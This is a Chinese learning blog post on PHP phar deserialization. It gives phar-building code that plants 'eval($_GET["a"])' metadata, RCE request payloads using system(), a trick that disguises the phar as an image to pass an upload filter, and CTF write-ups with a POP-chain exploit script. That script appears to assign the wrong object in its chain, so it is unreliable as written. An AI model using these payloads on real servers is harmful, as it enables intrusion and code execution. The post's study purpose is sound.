之前学反序列化的时候没有仔细看 只简单做了下题 有时间了回头再写一下
phar反序列化
相关知识
Phar 反序列化漏洞是一个 PHP 中的常见安全问题,它通常出现在处理 .phar 文件时。.phar 文件本质上是一种压缩文件,它将多个文件封装成一个文件,并允许对其中的内容进行读取和写入。在 phar 文件中,用户自定义的 meta-data(元数据)通常是通过 PHP 的序列化机制存储的。
phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。
对于 PHP 5.3 或更高版本,phar后缀文件时默认开启支持的,可以直接使用
一般使用文件包含中的**phar伪协议进行读取.phar文件**
phar文件结构
- Stub(启动文件)
这是phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>(头部信息),这是 PHAR 文件的入口点,当 PHP 解释器加载 PHAR 文件时,会首先执行 Stub 代码
- Manifest(元数据)
压缩文件的属性等信息,以序列化方式存储 这就成为了一个潜在的攻击点
当 Phar 文件被加载时,Manifest 部分会被反序列化为 PHP 对象
- Contents(内容部分)
压缩文件的内容
实际存储了所有打包进 Phar 文件的文件数据。这个部分是最主要的文件内容部分,通常存储 PHP 代码、文本文件或二进制文件等。
- Signature(签名)
签名部分位于 Phar 文件的末尾,通常用于验证文件的完整性和真实性。它确保文件没有被篡改,并且是由一个受信任的源创建的。签名通常使用公钥/私钥加密机制。

phar文件的创建(压缩 )
1.创建phar对象
1
| $phar = new Phar('test2.phar', 0, 'test2.phar');
|
这行代码通过 new Phar() 创建一个新的 Phar 文件,文件名是 test2.phar。如果文件不存在,它将会创建该文件;如果文件已经存在,它将被覆盖。0 表示没有特殊的创建模式,'test2.phar' 是该 Phar 文件的别名,可以在之后的代码中用来引用该文件。
2.从目录构建 Phar 文件
1
| $phar->buildFromDirectory('f:\0Day');
|
将 f:\0Day 目录中的所有文件打包到 test2.phar 文件中。buildFromDirectory() 方法会递归地将目录中的所有文件添加到 Phar 文件中。
3.设置默认 Stub
1
| $phar->setDefaultStub('test.txt', 'test.txt');
|
这里使用 setDefaultStub() 为 Phar 文件设置默认的入口文件(stub)。'test.txt' 是入口文件的路径,它在创建时会被作为默认的入口文件。第二个 'test.txt' 是该文件在 Phar 内部的路径。
Stub 是 Phar 文件的入口代码,它会在 Phar 文件执行时首先被执行。__HALT_COMPILER() 是一个 PHP 函数,它会停止编译 PHP 代码,使得后续的代码不会被解析。这样,在 Phar 文件中可以包含一些 PHP 代码,而不会立即被执行,直到用户明确调用该文件。
解压缩
1.打开 Phar 文件
1
| $phar = new Phar('test.phar');
|
使用 new Phar('test.phar') 打开名为 test.phar 的 Phar 文件,并将其封装成 Phar 对象。test.phar 文件必须存在,否则会抛出错误。
2.解压到指定目录
1
| $phar->extractTo('test');
|
该方法将 test.phar 文件中的所有内容提取到指定的目录 'test' 中。如果该目录不存在,PHP 会尝试创建该目录。如果已经存在,内容将被解压到该目录下。
创建一个包含恶意代码的 Phar 文件模板
1 2 3 4 5 6 7 8 9 10 11 12
| @unlink('test.phar'); $phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Testobj(); $o->output='eval($_GET["a"]);';
$phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
下面是解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering(); ?>
|
漏洞原理
- Phar 伪协议:PHP 支持通过
phar 伪协议来读取 .phar 文件。
- 反序列化触发:当使用
phar 伪协议解析 .phar 文件时,PHP 会自动触发对 manifest 字段中序列化字符串的反序列化操作。这就意味着,如果 manifest 里的序列化数据是恶意构造的,就可能触发反序列化漏洞,进而执行恶意代码。
触发条件
PHP 版本需要大于等于 5.2。
在 PHP 的配置文件 php.ini 中,要将 phar.readonly 选项设置为 Off。因为默认情况下 phar.readonly 是开启的(即设为 On),这会限制对 Phar 文件的写入等操作,若不关闭该选项,很多利用操作无法进行。

表格中列出了可以使用 phar 伪协议读取 .phar 文件的函数,当这些函数处理带有恶意 phar 伪协议的路径时,就可能触发 Phar 反序列化漏洞。
比如:
file_exists:用于检查文件或目录是否存在,若传入的路径是 phar:// 开头指向恶意 Phar 文件,就可能触发漏洞。
file_get_contents:用于读取文件内容,同样,若读取的是恶意 Phar 文件,会触发对 manifest 中序列化数据的反序列化。
其他如 fopen(打开文件)、copy(复制文件)、stat(获取文件状态)等函数,在操作带有 phar 伪协议的文件时,也都可能引发该漏洞。
来看一些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); error_reporting(0); class Testobj { var $output="echo 'ok';"; function __destruct() { eval($this->output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
|
定义了Testobj类,包含$output属性(默认值为echo 'ok';)和__destruct()魔术方法
__destruct()方法会在对象销毁时调用eval()执行$output中的代码
接收 GET 参数filename,并通过file_exists()检查该文件是否存在
看到这个file_exists
file_exists($filename)函数的参数$filename完全由用户控制,且该函数支持phar://伪协议
当file_exists()通过phar://伪协议访问 Phar 文件时,会自动反序列化 Phar 文件中存储的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); class Testobj { var $output=''; }
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); $o=new Testobj(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|

记得改一下配置文件
我这里是7版本



根据文件是否存在返回一个布尔值
因为这里使用的是file_exists函数,是可以使用phar://伪协议的,但是可以使用phar伪协议并不代表一定存在phar反序列化漏洞,还要看能否触发魔术方法进而可以执行一些操作,在这里就是要触发__destruct()这个魔术方法进而可以执行命令,所以存在漏洞

发现这个文件已经存在了
最后就可以利用phar伪协议读取这个文件,会自动将序列化部分的数据进行反序列化,然后就会自动触发__destruct()魔术方法,从而可以执行eval($_GET["a"]);,也就是可以进行GET传参一个a进行RCE

成功利用
漏洞利用条件
phar文件可以上传到服务器端
- 要有可用反序列化魔术方法作为跳板(就是可以通过触发魔术方法
__destruct()或__wakeup()进行RCE之类的操作)
- 要有文件操作函数,如:
file_exists(),fopen(),file_get_contents()
- 文件操作函数的参数可控
- 要使用的伪协议
phar://中的字符和关键字没有被过滤
小技巧
使用phar://伪协议读取文件是不看后缀的
如果服务器对上传的文件有限制,只能上传一些png、jpg、gif等图片文件,我们可以把phar文件修改成其他的任何一个格式的文件,并且不会受到影响
如下,使用mv命令将test.phar文件修改成test.png文件,改变其后缀名
然后使用phar伪协议读取test.png文件仍然是可以执行命令的
1
| ?filename=phar://test.png&a=system('ls');
|
所以后缀名是没有影响的,只要可以上传到服务器就行
Phar反序列化例题
[HNCTF 2022 WEEK3]ez_phar

扫目录发现上传接口
这里有上传后缀的限制

写好exp 放phpstudy里访问一下让他生成phar文件


这的上传只能图片 所以我们抓包修改一下后缀



1
| http://node5.anna.nssctf.cn:29141/?filename=phar://upload/test.jpg&a=system('ls /');
|
通过phar伪协议访问
成功看到flag位置位于ffflllaaaggg
1
| ?filename=phar://upload/test.jpg&a=system('cat /ffflllaaaggg');
|

[SWPU 2018]SimplePHP
很经典的一道题目




访问这个可以看到file.php的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
|
我这里自己写的时候不理解为什么要试?file=file.php
导航栏中明确有 <a href="file.php?file=">查看文件</a>,这直接告诉我们:
负责文件查看的后端页面是 file.php;
该页面通过file参数接收 “要查看的文件路径”(?file=是空参数的默认状态)。
核心结论:
要查看任意文件,需构造 file.php?file=目标文件路径 的 URL

源代码里的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| //base.php <?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php //upload_file.php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div>
</script> </body> </html>
|
一共就这几个文件
重点在class.php
从后往前看这个链子
首先看test类
我们最终要执行的是

那么现在问题就是这个value怎么替换成我们想要的f1ag.php
往上看

让test类里面的get函数会返回file_get 属性params不为空 且值要为f1ag.php
__get()方法在 读取不可访问(protected 或 private)或不存在的属性的值时被调用
我们想要触发上面的过程
要满足以下两个条件
1.访问test类里不存在的属性(触发_get方法)
2.传入的key要匹配params数组中
就是$key = “source”(因为$params[‘source’] = “f1ag.php”)
那么谁会去访问到test里面不存在的属性
这时候我们的思路就是去寻找“访问对象属性”的代码(如$obj->xxx)
在本题中,Show类的__toString()方法里有$this->str['str']->source—— 这里的->source就是在访问某个对象的source属性。
这个时候我们进行一个假设 :
如果这是test类的实例 那么-source就是去访问这个类的source 由于test类没有source 所以就会触发_get 正好符合第一步的需求
这个source是在_tostring里面的
__toString()的触发条件是 “对象被当作字符串处理”(如echo、字符串拼接等)
所以我们这一步要找的就是:
哪些地方会进行字符串化操作(如echo $obj、$obj . "str"等)
1 2 3 4 5
| $show = new Show(); echo $show; $str = "test: " . $show; var_dump("content: $show");
|
C1e4r类的__destruct()方法里有echo $this->test 如果$this->test是Show类的实例,echo操作就会触发Show::__toString()。
destruct在对象被销毁(反序列化结束之后)触发
所以只要C1e4r类的实例被反序列化,就会触发其__destruct()。
最后我们进行一下正向验证 看环节能不能衔接
- 反序列化
C1e4r对象 → 触发__destruct() → 执行echo $this->test($this->test是Show对象)。
echo Show对象 → 触发Show::__toString() → 执行$this->str['str']->source($this->str['str']是Test对象)。
- 访问
Test->source(不存在) → 触发Test::__get('source') → 从$this->params['source']拿到f1ag.php,调用file_get()。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class C1e4r { public $test; public $str; }
class Show { public $source; public $str; }
class Test { public $file; public $params; }
$a=new C1e4r; $b=new Show; $c=new Test;
$c->params=['source'=>'/var/www/html/f1ag.php']; $b->str['str']=$a; $a->str=$b;
@unlink('test.phar'); $phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering();
?>
|
抓包修改后缀上传 然后查看路径


phar访问就可以了
这个题难的在于代码有点多 链子的构造比phar难我觉得

解码